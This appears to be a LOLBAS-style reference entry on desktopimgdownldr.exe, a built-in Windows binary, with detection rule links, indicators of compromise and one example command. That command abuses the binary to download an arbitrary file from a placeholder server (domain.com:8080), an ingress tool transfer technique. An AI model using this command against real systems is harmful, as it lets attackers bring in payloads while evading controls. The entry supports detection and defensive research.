.. /Desktopimgdownldr.exe

Star

Paths:

• c:\windows\system32\desktopimgdownldr.exe

Resources:

• https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/

Acknowledgements:

• Gal Kristal (@gal_kristal)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml
• Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml
• IOC: desktopimgdownldr.exe that creates non-image file
• IOC: Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl

Download

1. Downloads the file and sets it as the computer's lockscreen

   set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr

   Use case

   Download arbitrary files from a web server

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1105